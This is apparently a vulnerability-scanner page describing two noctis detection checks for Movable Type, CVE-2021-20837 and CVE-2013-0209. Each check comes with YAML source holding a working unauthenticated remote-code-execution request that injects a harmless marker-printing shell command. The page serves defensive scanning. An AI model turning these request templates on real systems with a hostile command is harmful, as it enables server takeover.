Movable Type — 2 vulnerability checks

noctis ships 2 vulnerability checks for Movable Type, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Movable Type mt-xmlrpc.cgi command injection

CVECVE-2021-20837
Severitycritical · CVSS 9.8
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/movabletype/CVE-2021-20837.yaml

Posts an unauthenticated XML-RPC mt.handler_to_coderef call to mt-xmlrpc.cgi whose base64 argument is a backtick command printing NOCTIS followed by the sum of two random numbers computed by the server shell. Finding that exact sum, never sent in the request, in the XML-RPC reply confirms command execution.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /mt/mt-xmlrpc.cgi with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.body for NOCTIS[0-9]{7} → finding QoD 97: XML-RPC mt.handler_to_coderef with base64 `printf NOCTIS;expr … + …` returned the shell-computed marker … at …:…

References:

Feed source — tests/vulnerabilities/movabletype/CVE-2021-20837.yaml
uid: e7c0e8aa-26d4-46e0-b803-945834433b4a
name: "CVE-2021-20837 — Movable Type mt-xmlrpc.cgi command injection (CVSS 9.8)"
description: |
  Posts an unauthenticated XML-RPC mt.handler_to_coderef call to mt-xmlrpc.cgi whose
  base64 argument is a backtick command printing NOCTIS followed by the sum of two
  random numbers computed by the server shell. Finding that exact sum, never sent in
  the request, in the XML-RPC reply confirms command execution.
cves: [CVE-2021-20837]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [movabletype, xmlrpc, rce, command-injection]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2021-20837"
  - "OpenVAS NASL 2021/sixapart/gb_movable_type_rce_vuln_oct21_active.nasl (GPL-2.0-only)"

# Ported from OpenVAS NASL 2021/sixapart/gb_movable_type_rce_vuln_oct21_active.nasl (GPL-2.0-only, Greenbone Community Feed).
# mt-xmlrpc.cgi handler_to_coderef allows unauthenticated command exec.
steps:
  # The handler name is eval'ed by Perl, so `cmd` runs through /bin/sh and its
  # output lands in the XML-RPC reply. Perl backticks interpolate like a
  # double-quoted string ($( is the real-GID variable), so the command holds
  # no "$": printf NOCTIS;expr A + B prints NOCTIS<A+B>. Only the shell-computed sum proves
  # execution; a reply that echoes the request, or serves passwd for every
  # request, cannot contain it.
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b),
         b64: base64_encode("`printf NOCTIS;expr " + a + " + " + b + "`") }

  - id: init
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: POST
    path: "/mt/mt-xmlrpc.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "text/xml; charset=UTF-8"
    body: '<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>mt.handler_to_coderef</methodName><params><param><value><base64>{{p.b64}}</base64></value></param></params></methodCall>'
    store_as: resp

  - id: check
    action: script
    store_as: hit
    code: |
      type_of(resp.body) == "string" && stridx(resp.body, p.marker) >= 0

  - id: detect
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.7
        qod: 97
        evidence: "XML-RPC mt.handler_to_coderef with base64 `printf NOCTIS;expr {{p.a}} + {{p.b}}` returned the shell-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

Movable Type mt-upgrade.cgi unauthenticated Perl eval injection

CVECVE-2013-0209
Severityhigh · CVSS 7.5
Categoryrce — Remote code execution
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/movabletype/CVE-2013-0209.yaml

Posts an unauthenticated database-migration request to mt-upgrade.cgi. The core_drop_meta_for_table migration step accepts a class name that is eval'd as Perl code without authentication, letting an attacker reach the host shell. The probe's injected code prints NOCTIS followed by the sum of two random numbers computed by the server shell at request time. Finding that exact sum, never sent in the request, in the response confirms real code execution on Movable Type 4.2x/4.3x through 4.38.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request POST /mt-upgrade.cgi with a crafted body
  3. Parses / computes the next value with a Rhai script
  4. Checks resp.body for NOCTIS[0-9]{7} → finding QoD 97: mt-upgrade.cgi core_drop_meta_for_table eval injection: injected shell command returned the server-computed marker … at …:…

References:

Feed source — tests/vulnerabilities/movabletype/CVE-2013-0209.yaml
uid: b8b88b2e-ba09-434a-b9ab-7dfbeb3109ac
name: "CVE-2013-0209 — Movable Type mt-upgrade.cgi unauthenticated Perl eval injection (CVSS 7.5)"
description: |
  Posts an unauthenticated database-migration request to mt-upgrade.cgi. The
  core_drop_meta_for_table migration step accepts a class name that is eval'd as Perl
  code without authentication, letting an attacker reach the host shell. The probe's
  injected code prints NOCTIS followed by the sum of two random numbers computed by the
  server shell at request time. Finding that exact sum, never sent in the request, in the
  response confirms real code execution on Movable Type 4.2x/4.3x through 4.38.
cves: [CVE-2013-0209]
cvss: 7.5
severity: high
category: rce
tags: [movabletype, perl, eval-injection, rce, intrusive]
confidence_base: 0.25
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2013-0209"

# lib/MT/Upgrade.pm's core_drop_meta_for_table migration step builds a Perl eval string
# from unauthenticated POST parameters, so an attacker-controlled class name becomes
# arbitrary Perl code run via backticks. We probe with a shell command whose output
# (the sum of two random numbers) can only appear if the server actually executed it.
steps:
  - id: build
    action: script
    store_as: p
    code: |
      let a = rand_int(500000, 999999);
      let b = rand_int(500000, 999999);
      let cmd = base64_encode("printf NOCTIS;expr " + a + " + " + b);
      #{ a: "" + a, b: "" + b, marker: "NOCTIS" + (a + b), cmd: cmd }

  - id: init
    action: set_var
    var_name: resp
    var_value: {status: 0, body: ""}

  - id: probe
    action: http_request
    method: POST
    path: "/mt-upgrade.cgi"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    headers:
      Content-Type: "application/x-www-form-urlencoded"
    body: "__mode=run_actions&installing=1&steps=core_drop_meta_for_table:{{p.cmd}}"
    store_as: resp

  - id: check
    action: script
    store_as: hit
    code: |
      type_of(resp.body) == "string" && stridx(resp.body, p.marker) >= 0

  - id: detect
    action: match
    source: resp.body
    pattern: "NOCTIS[0-9]{7}"
    condition: "hit == true"
    on_match:
      finding:
        confidence_delta: 0.72
        qod: 97
        evidence: "mt-upgrade.cgi core_drop_meta_for_table eval injection: injected shell command returned the server-computed marker {{p.marker}} at {{target_host}}:{{port}}"
      stop: true

View these feeds on GitHub